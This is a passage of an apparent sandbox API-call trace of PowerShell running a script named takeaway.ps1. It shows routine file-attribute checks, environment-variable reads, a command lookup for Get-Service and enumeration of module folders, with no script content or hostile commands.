"c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x843e760 | out: lpFileInformation=0x843e760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0096.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e0) returned 1 [0096.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0096.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0096.280] AmsiScanString () returned 0x80070015 [0096.322] CoTaskMemFree (pv=0x7459318) [0096.322] CoTaskMemAlloc (cb=0x2cc) returned 0x7459318 [0096.322] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7459318, nSize=0x164 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0096.322] CoTaskMemFree (pv=0x7459318) [0096.323] CoTaskMemAlloc (cb=0x2cc) returned 0x7459318 [0096.323] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7459318, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0096.323] CoTaskMemFree (pv=0x7459318) [0096.323] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0096.329] CoTaskMemAlloc (cb=0x2cc) returned 0x7459318 [0096.329] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7459318, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0096.329] CoTaskMemFree (pv=0x7459318) [0096.329] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0096.329] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0096.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e308) returned 1 [0096.329] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x843e384 | out: lpFileInformation=0x843e384*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e304) returned 1 [0096.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e384) returned 1 [0096.329] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0096.330] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0096.330] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Get-Service.*", lpFindFileData=0x843e0ac | out: lpFindFileData=0x843e0ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0096.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e324) returned 1 [0096.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e330) returned 1 [0096.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0096.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0096.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e308) returned 1 [0096.330] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x843e384 | out: lpFileInformation=0x843e384*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0096.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e304) returned 1 [0096.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e384) returned 1 [0096.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0096.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0096.330] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\Get-Service.*", lpFindFileData=0x843e0ac | out: lpFindFileData=0x843e0ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0096.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e324) returned 1 [0096.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e330) returned 1 [0096.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0096.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0096.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e308) returned 1 [0096.331] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x843e384 | out: lpFileInformation=0x843e384*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0096.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e304) returned 1 [0096.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e384) returned 1 [0096.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0096.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0096.331] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\Get-Service.*", lpFindFileData=0x843e0ac | out: lpFindFileData=0x843e0ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0096.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e324) returned 1 [0096.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e330) returned 1 [0096.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0096.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0096.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e308) returned 1 [0096.331] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x843e384 | out: lpFileInformation=0x843e384*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0096.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e304) returned 1 [0096.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e384) returned 1 [0096.332] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0096.332] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0096.332] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Get-Service.*", lpFindFileData=0x843e0ac | out: lpFindFileData=0x843e0ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0096.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e324) returned 1 [0096.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e330) returned 1 [0096.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0096.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0096.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e308) returned 1 [0096.333] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x843e384 | out: lpFileInformation=0x843e384*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0096.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e304) returned 1 [0096.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e384) returned 1 [0096.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0096.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0096.333] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Get-Service.*", lpFindFileData=0x843e0ac | out: lpFindFileData=0x843e0ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0096.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e324) returned 1 [0096.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e330) returned 1 [0096.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0096.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0096.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e308) returned 1 [0096.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x843e384 | out: lpFileInformation=0x843e384*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e304) returned 1 [0096.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e384) returned 1 [0096.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0096.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0096.334] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Get-Service.*", lpFindFileData=0x843e0ac | out: lpFindFileData=0x843e0ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0096.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e324) returned 1 [0096.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e330) returned 1 [0096.336] CoTaskMemAlloc (cb=0x2cc) returned 0x7459318 [0096.336] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x7459318, nSize=0x164 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0096.336] CoTaskMemFree (pv=0x7459318) [0096.337] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0096.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0096.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0096.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x843e0dc | out: lpFindFileData=0x843e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6208 [0096.337] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.337] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0096.338] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0096.338] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0096.338] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0096.338] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0096.338] FindNextFileW (in: hFindFile=0x75c6208, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.338] FindClose (in: hFindFile=0x75c6208 | out: hFindFile=0x75c6208) returned 1 [0096.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e370) returned 1 [0096.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e37c) returned 1 [0096.338] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0096.338] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0096.339] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0096.339] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0096.339] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0096.339] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0096.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0096.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0096.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e344) returned 1 [0096.339] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x843e3c0 | out: lpFileInformation=0x843e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e340) returned 1 [0096.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0096.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0096.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e344) returned 1 [0096.339] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x843e3c0 | out: lpFileInformation=0x843e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.339] SetThreadErrorMode (dwNewMode=0x0, 